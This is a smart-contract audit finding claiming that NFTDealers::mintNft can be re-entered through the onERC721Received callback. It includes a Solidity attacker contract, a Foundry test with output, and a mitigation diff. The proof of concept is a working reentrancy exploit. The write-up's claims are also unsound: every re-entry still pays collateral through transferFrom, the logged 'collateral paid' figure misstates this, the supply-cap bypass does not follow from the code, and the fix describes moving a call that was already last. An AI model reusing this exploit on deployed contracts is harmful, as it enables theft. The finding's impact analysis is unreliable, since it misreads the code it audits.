NFTDealers::mintNft does not follow CEI pattern enabling reentrancy via onERC721Received callback
Description
-
mintNft allows whitelisted users to mint an NFT by paying a USDC collateral. The function increments the token counter, records the collateral mapping, and mints the NFT to the caller.
-
The function calls _safeMint after updating state, but _safeMint triggers onERC721Received on the receiver if it is a contract. At this point the USDC transfer has already occurred but a reentrant call to mintNft can execute before the current call completes, allowing an attacker to mint multiple NFTs while bypassing the intended per-transaction collateral requirement.
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
tokenIdCounter++;
collateralForMinting[tokenIdCounter] = lockAmount;
_safeMint(msg.sender, tokenIdCounter);
}
Risk
Likelihood: Low
Attacker must be whitelisted to call mintNft — reduces the attack surface compared to buy
A whitelisted attacker deploys a contract with a malicious onERC721Received hook that reenters mintNft on every callback
Impact: High
Attacker mints multiple NFTs paying collateral only once per reentrant chain
MAX_SUPPLY cap can be bypassed — more NFTs minted than intended
collateralForMinting accounting is corrupted — future collectUsdcFromSelling calls will return wrong amounts
Proof of Concept
contract MintReentrancyAttacker is IERC721Receiver {
NFTDealers nftDealers;
MockUSDC usdc;
uint256 attackCount = 0;
uint256 constant ATTACK_TIMES = 2;
constructor(address _nftDealers, address _usdc) {
nftDealers = NFTDealers(_nftDealers);
usdc = MockUSDC(_usdc);
}
function attack() external {
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
if (attackCount < ATTACK_TIMES) {
attackCount++;
nftDealers.mintNft();
}
return IERC721Receiver.onERC721Received.selector;
}
}
function test_MintReentrancy() public revealed {
MintReentrancyAttacker mintAttacker = new MintReentrancyAttacker(
address(nftDealers),
address(usdc)
);
vm.prank(owner);
nftDealers.whitelistWallet(address(mintAttacker));
usdc.mint(address(mintAttacker), nftDealers.lockAmount()*3);
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
mintAttacker.attack();
uint256 nftsMinted = nftDealers.balanceOf(address(mintAttacker));
console.log("collateral paid :", nftDealers.lockAmount());
console.log("NFTs minted :", nftsMinted);
console.log("expected minted : 1");
assertGt(nftsMinted, 1);
}
Output
collateral paid : 20000000
NFTs minted : 3
expected minted : 1
Recommended Mitigation
Move _safeMint to the end of all state updates to follow CEI, and add ReentrancyGuard as a second layer of protection:
+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
-contract NFTDealers is ERC721 {
+contract NFTDealers is ERC721, ReentrancyGuard {
-function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
+function mintNft() external payable nonReentrant onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
+ // EFFECTS first
+ tokenIdCounter++;
+ collateralForMinting[tokenIdCounter] = lockAmount;
+ // INTERACTIONS last
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
- tokenIdCounter++;
- collateralForMinting[tokenIdCounter] = lockAmount;
_safeMint(msg.sender, tokenIdCounter);
}
